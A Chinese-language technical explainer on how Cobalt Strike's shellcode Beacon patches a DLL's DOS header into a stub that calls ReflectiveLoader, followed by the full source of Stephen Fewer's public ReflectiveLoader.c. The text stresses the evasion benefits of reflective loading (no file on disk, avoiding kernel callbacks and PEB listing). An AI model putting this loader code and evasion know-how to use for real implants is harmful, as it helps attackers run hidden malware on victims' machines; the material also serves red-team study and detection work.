反射式PE加载
CobaltStrike 的 Beacon,实际上是一个 DLL。Shellcode 形式的 Beacon,是补丁后的 DLL 文件。通过巧妙的补丁,Beacon 可以实现像 Shellcode 一般的位置独立。我们分别生成 DLL 与 RAW 格式的载荷,进行对比:
DLL 格式的 Beacon,符合典型的 PE 文件格式。
对于 Shellcode 格式的 Beacon,我们发现其实际上是个补丁后的 DLL 文件,因为其格式符合 PE 格式标准
我们甚至能解析出导出函数 ReflectiveLoader。
那么,补丁了哪些地方呢?我们仔细对比一下这 2 个文件的 DOS 头,我们会发现 Shellcode 格式的 Beacon(右边) 虽然大体上符合 PE 格式标准,但 DOS 头是补丁过的。
对于 PE 文件,因为 DOS 头并非代码区,所以并不该被解析成机器码执行。因此 DLL 文件的 DOS 头如果被强行解释成汇编指令,代码看起来没有什么实际意义。而右图的 DOS 头被补丁成了精心设计的代码,我们来解读一下:
4D 5A pop r10 # PE Magic Bytes,同时与下面的指令共同平衡栈
41 52 push r10 # 平衡栈
55 push rbp # 设置栈帧
48 89 E5 mov rbp, rsp
48 81 EC 20 00 00 00 sub rsp,0x20
48 8D 1D EA FF FF FF lea rbx, [rip-0x16] # 前移0x16字节从而获得Shellcode地址
48 89 DF mov rdi,rbx
48 81 C3 F4 5F 01 00 add rbx, 0x15ff4 # 通过硬编码偏移调用ReflectiveLoader导出函数
FF D3 call rbx
41 B8 F0 B5 A2 56 mov r8d,0x56a2b5f0 # 调用 DllMain函数
68 04 00 00 00 push 4
5A pop rdx
48 89 F9 mov rcx, rdi
FF D0 call rax
我们来查看一下硬编码的偏移 0x15ff4,对应的 RVA 是 0x16bf4,确实正好是导出函数 ReflectiveLoader 的地址。
简单来说,通过补丁 DOS 头,使其成为具有实际意义的 Shellcode 头,实现当 Shellcode 被加载后,执行流程跳转到 ReflectiveLoader 导出函数,最后再执行 DllMain 函数。这样,可以将 DLL 转换为位置独立的 Shellcode。
反射式加载
那么,ReflectiveLoader 函数充当了什么作用?为什么在 DLL 被加载之前,这个导出函数就可以被执行了呢?在回答这些问题之前,我们需要知道 Windows DLL 加载器负责将存在于磁盘中的 DLL 加载到进程的虚拟内存空间。如果用于攻防模拟,Windows DLL 加载器存在着这些缺点:
- DLL 必须存在于磁盘
- DLL 不可被混淆
- DLL 的加载会触发内核回调
所以,直接用 Windows DLL 加载器加载 DLL Beacon 不是最理想的,但如果我们能从内存中加载 Beacon DLL 呢?这么一个概念被称为反射式加载,被 Stephen Fewer 提出并实现(https://github.com/stephenfewer/ReflectiveDLLInjection)。反射式加载可以带来以下优势:
- DLL 不必存在于磁盘,避免文件特征
- 避免映像文件加载触发的内核回调
- 我们的DLL 不会被 PEB 罗列
反射式加载即直接从内存中加载 DLL,与传统的 Windows DLL 加载都是将原始文件转换为在进程的虚拟内存中的格式。我们之前得知,当 PE 文件存在于磁盘和内存中时,因为对齐系数的不同,尺寸、原始文件偏移与RVA的映射关系会略有变化,一般来说在内存中会显得更加膨胀,在磁盘中时更加紧凑。
我们知道,PE 文件有着偏好加载地址,尽管实际被加载时,基址不一定与偏好加载地址相同。在 PE 文件中,有一些全局变量的地址是硬编码的(这些数据的地址由重定向表追踪),那么自然也会随着实际加载地址的变化而变化。此外,IAT 表中的条目也会被更新,等等。平时,是由 Windows DLL 加载器帮我们完成了这些,但如果要实现反射式加载,这些任务就落在了我们头上。那么,实现反射式加载有这些步骤:
- 通过诸如 CreateRemoteThread 直接执行导出函数 ReflectiveLoader,或者像 CobaltStrike 一样补丁 DLL 的 DOS 头使其成为 Shellcode 头,跳转到 ReflectiveLoader。
- ReflectiveLoader 函数计算出 DLL 的基址,通过不断前移,直到遇到 MZ,即 Magic Bytes。
- 通过 PEB walking 的方法得到 Kernel32 模块以及一些必要的 API 例如 LoadLibrary,GetProcAddress,VirtualAlloc 的地址。因为 ReflectiveLoader 函数在 DLL 被加载前就被调用了,所以需要位置独立,即不能使用全局变量以及直接调用 API。
- 使用 VirtualAlloc 分配内存空间,用于盛放映射后的 DLL
- 将 DLL 的各个头以及节复制到分配的内存空间,以及为不同区域设置对应的内存权限
- 修复 IAT 表。遍历每个导入的 DLL,对于每个 DLL,遍历每个导入函数。根据函数的导入方式(函数序数或名称),补丁导入函数的地址。
- 修复重定向表。方法为计算出实际基址与偏好地址的差值,然后对于每个硬编码的地址都应用上这个差值。
- 调用 DllMain 入口函数,DLL 被成功加载至内存中。
- 如果是通过 Shellcode 头跳转的,那么 ReflectiveLoader 函数调用结束后会返回 Shellcode 头。如果是通过 CreateRemoteThread 调用的,那么线程会结束。
具体的代码实现,可以参考原始项目(https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c),如下所示:
#include "ReflectiveLoader.h"
HINSTANCE hAppInstance = NULL;
#pragma intrinsic( _ReturnAddress )
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
ULONG_PTR uiLibraryAddress;
ULONG_PTR uiBaseAddress;
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
uiLibraryAddress = caller();
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
do
{
uiValueC = ror( (DWORD)uiValueC );
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
while( usCounter > 0 )
{
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
uiValueA = DEREF( uiValueA );
}
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
return uiValueA;
}
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif